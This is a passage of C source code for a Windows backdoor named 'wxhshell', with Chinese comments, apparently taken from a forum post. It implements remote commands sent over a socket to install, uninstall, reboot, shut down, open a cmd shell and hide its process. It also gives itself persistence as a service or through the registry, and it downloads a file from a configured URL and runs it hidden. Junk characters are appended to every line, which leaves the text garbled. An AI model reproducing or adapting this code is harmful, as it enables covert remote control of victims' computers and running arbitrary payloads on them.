      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mvZ#FF1,J  
    break; W~ET/h  
  } (n*:LS=0  
  // 安装 %?PFe}  
  case 'i': { ,u2Qkw  
    if(Install()) ,?|$DY+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OA[e}Vn  
    else 6qH0]7maI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BtC*]WB"_'  
    break; R03 Te gwA  
    } V3t#kv  
  // 卸载 @GFB{ ;=  
  case 'r': { )|lxzlk  
    if(Uninstall()) *$<W"@%^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -U=Ci  
    else }<0N)dpT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^E.L8  
    break; !o /=,ZIx  
    } 9dhEQ=K{3  
  // 显示 wxhshell 所在路径 8 XB[CbO  
  case 'p': { z~ C8JY:  
    char svExeFile[MAX_PATH]; VX$WL"A  
    strcpy(svExeFile,"\n\r"); "ntP928  
      strcat(svExeFile,ExeFile); @m#OhERv  
        send(wsh,svExeFile,strlen(svExeFile),0); h<Aq|*  
    break; ai/|qYf  
    } _VK I@   
  // 重启 CP~ZIIip"  
  case 'b': { HYfGu1j?X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {p84fR1P  
    if(Boot(REBOOT)) wu)+n\mt'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EsMX #1>/m  
    else { W#p7M[  
    closesocket(wsh); -d\sKc  
    ExitThread(0); \EySKQ=  
    } XVN`J]XHk  
    break; U-I,Q+[C[^  
    } P0n1I7|  
  // 关机 A I.(}W4]  
  case 'd': { i7Up AHd/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pd|KIs%jl  
    if(Boot(SHUTDOWN)) T+<.KvO-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$18%jH#  
    else { Cq\XLh `  
    closesocket(wsh); OM*c7&  
    ExitThread(0); 4 O!2nP  
    } SMX]JZmH  
    break; ;miif  
    } l;lrf3  
  // 获取shell G#n 4g :K  
  case 's': { W,<q!<z\t  
    CmdShell(wsh); zw>L0gC  
    closesocket(wsh); $a M5jH<  
    ExitThread(0); @Vre)OrN#  
    break; 0<uek  
  } 6O7s^d&K  
  // 退出 _}R[mr/  
  case 'x': { m2j&0z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SiLW[JXd  
    CloseIt(wsh); /4&gA5BS]  
    break; m4mE7Wn.3  
    } Q/+`9z+c  
  // 离开 Dr3_MWJ+  
  case 'q': { 9n& &`r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]M7FIDg  
    closesocket(wsh); e&}W#  
    WSACleanup(); lG7PM^Eb  
    exit(1); cFUD$mp  
    break; heVk CM :  
        } 7IX8ck[D  
  } 0gd`W{YP  
  } 4S<M9A}  
EwC]%BZP  
  // 提示信息 %QezC+n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1<YoGm&  
} XX8HSw!w  
  } +>Wo:kp3  
K-0=#6?y4  
  return; Q^(CqQo!<  
} kxMvOB$  
oac)na:O#  
// shell模块句柄 EeW ,-I  
int CmdShell(SOCKET sock) -S'KxC  
{ 0:$ }~T9T  
STARTUPINFO si; t'n@yX_  
ZeroMemory(&si,sizeof(si)); lPy|>&Yc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Nt4R:N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o(*\MT t?  
PROCESS_INFORMATION ProcessInfo; [,o:nry'a  
char cmdline[]="cmd"; ;c!> =  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =;Gq:mHi  
  return 0; u<-)C)z  
} D:z'`v0j  
$.PRav  
// 自身启动模式 RM;a]g*  
int StartFromService(void) m$T5lKn}U?  
{ K./qu^+k  
typedef struct Bs"D<r&ro  
{ 'ygKP6M  
  DWORD ExitStatus; m\&|#yq  
  DWORD PebBaseAddress; a-{|/ n%  
  DWORD AffinityMask; `i.BB jx`  
  DWORD BasePriority; 7Ak<e tHD  
  ULONG UniqueProcessId; 3s6obw$ki  
  ULONG InheritedFromUniqueProcessId; F@BpAl  
}   PROCESS_BASIC_INFORMATION; Xw?DN*`L  
F.[%0b E  
PROCNTQSIP NtQueryInformationProcess; W$4$%r8  
f3K-X1`]'U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xl&@g)Jj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &<A,\ M  
C[J9 =!t  
  HANDLE             hProcess; y )QLR<wf  
  PROCESS_BASIC_INFORMATION pbi; d GUP|O  
D=e*rrL7a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8y LcTA$T  
  if(NULL == hInst ) return 0; orGMzC2  
={g)[:(C.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F Z"n6hWA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j4~(6Imm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U=Ps#  
TM)INo^  
  if (!NtQueryInformationProcess) return 0; $vs],C"pX  
5vx 4F f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I,-n[k\J  
  if(!hProcess) return 0; N!+=5!  
q0.!T0i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^ZwZze:2  
c!EA>:;(<  
  CloseHandle(hProcess); Z)@vJZ*7(  
'RjEdLrI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lq(=0U\"P  
if(hProcess==NULL) return 0; htBA.eQ  
KF%BX ~80C  
HMODULE hMod; _*mn4n=  
char procName[255]; Od!)MQ*,  
unsigned long cbNeeded; IWv 9!lW  
C QkY6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -CvmZ:n  
JRl=j2z  
  CloseHandle(hProcess); DQG%`-J  
GcV/_Y  
if(strstr(procName,"services")) return 1; // 以服务启动 !0;AFv`\  
jSI1tW8  
  return 0; // 注册表启动 (TZK~+]@sb  
} "qmSwdM  
4 &bmt  
// 主模块 =H{<}>W'  
int StartWxhshell(LPSTR lpCmdLine) 4Mt3<W5  
{ R@c])\^]  
  SOCKET wsl; 0L}`fYf  
BOOL val=TRUE; .p[uIRd`  
  int port=0; (\6E.Z#  
  struct sockaddr_in door; 5CI {&E  
h FU8iB`Q  
  if(wscfg.ws_autoins) Install(); _Ewh:IM-  
]#o;`5'  
port=atoi(lpCmdLine); hek+zloB+  
&^`Wtd~g  
if(port<=0) port=wscfg.ws_port; "Bd-h|J  
,r B(WKU  
  WSADATA data;  /YJo"\7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Phn^0 iF  
X!KX4H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a 0SZw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " MnWd BS  
  door.sin_family = AF_INET; }&0LoW/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !tq]kKJ3:  
  door.sin_port = htons(port); 5226 &N  
pwo$qs(p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "6U0 !.ro@  
closesocket(wsl); g QBS#NY  
return 1; mERkC,$  
} Cy-p1s  
hz/mNDE]  
  if(listen(wsl,2) == INVALID_SOCKET) { FGVw=G{r  
closesocket(wsl); 72l:[5ccR  
return 1; }a"=K%b<\  
} j4XVk@'OX  
  Wxhshell(wsl); byM%D$R  
  WSACleanup(); j2G^sj"|  
:<g0Ho?e  
return 0; rN1]UaT  
vu( 5s  
} tA1?8`bQ  
By1T um+I1  
// 以NT服务方式启动 c7CYulm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bF _]j/  
{ Kbu>U{'  
DWORD   status = 0; 8F[ ];LF>  
  DWORD   specificError = 0xfffffff; CR [>5/:M  
|k}<Zz1UM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8g -u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %bw+>:Tr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a en%  
  serviceStatus.dwWin32ExitCode     = 0; Ta[2uv>  
  serviceStatus.dwServiceSpecificExitCode = 0; lWRl  
  serviceStatus.dwCheckPoint       = 0; :Wbp|:N0  
  serviceStatus.dwWaitHint       = 0; kqB# 9  
V Rv4p5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -nGcm"'6F  
  if (hServiceStatusHandle==0) return; 2TGND-(j  
!Q\*a-C  
status = GetLastError(); (BY 0b%^  
  if (status!=NO_ERROR) 1uw1(iL+  
{ $}vk+.!*1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tav@a)  
    serviceStatus.dwCheckPoint       = 0; >lIzeEW#  
    serviceStatus.dwWaitHint       = 0; d>[i*u,]/  
    serviceStatus.dwWin32ExitCode     = status; HS |Gz3~  
    serviceStatus.dwServiceSpecificExitCode = specificError; _i>_Sn1"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~$)>?ZD  
    return; ;bwBd:Y  
  } (1x8DVXNN  
G$,s.MSf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Yc-3ozH  
  serviceStatus.dwCheckPoint       = 0; h[dJNawL  
  serviceStatus.dwWaitHint       = 0; syu/"KY^!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h1S)B|~8  
} J* !_O#  
GP+=b:C{E  
// 处理NT服务事件,比如:启动、停止 tQ@7cjq8bA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L9)gN.#  
{ $6m@gW]N  
switch(fdwControl) +E. D:  
{ @vq)Y2)r\  
case SERVICE_CONTROL_STOP: 5QqU.9M  
  serviceStatus.dwWin32ExitCode = 0; A\?t^T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gq?O}gVD  
  serviceStatus.dwCheckPoint   = 0; )VQ[}iT  
  serviceStatus.dwWaitHint     = 0; zWo  
  { (A=PDjP!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #pZeGI|'J  
  } OcUj_Zd  
  return; by1q"\-,  
case SERVICE_CONTROL_PAUSE: NK|U:p2H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tD`^qMua  
  break; wfO -bzdw  
case SERVICE_CONTROL_CONTINUE: 2|7:`e~h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @(L}:]{@  
  break; A< .5=E,/  
case SERVICE_CONTROL_INTERROGATE: ?5't1219  
  break; 50 w$PW  
}; 8^EWD3N`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9]N{8  
} ], Bafz)4  
R:n|1]*f3X  
// 标准应用程序主函数 yl?LXc[)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q=! lbW  
{ P, ZQ*Ju  
Sm[#L`eqW  
// 获取操作系统版本 ^6# yL6E,~  
OsIsNt=GetOsVer(); x .@O]}UH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K 'I6iCrD  
G1it 3^*$  
  // 从命令行安装 a;dWM(;Kw  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1q;R+65  
 6 wd  
  // 下载执行文件 Tp@Yn  
if(wscfg.ws_downexe) { Pg.JI:>2Ku  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lZ5-lf4  
  WinExec(wscfg.ws_filenam,SW_HIDE); y~*B%KnEQy  
} ]*]*O|w  
}WJX Q@  
if(!OsIsNt) { T$mT;k  
// 如果时win9x,隐藏进程并且设置为注册表启动 pS-o*!\C.  
HideProc(); K"[jrvZ=  
StartWxhshell(lpCmdLine); 47Vt8oyh%  
} '`k  
else #&uajo  
  if(StartFromService()) =oXlJ[)h  
  // 以服务方式启动 AHr^G'  
  StartServiceCtrlDispatcher(DispatchTable); /V0Put  
else lq-F*r\/~+  
  // 普通方式启动  DEu0Z  
  StartWxhshell(lpCmdLine); Vel(+HS  
?VxQ&^|  
return 0; wL3BgCxqDL  
}
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只看该作者 1 发表于: 2006-10-10
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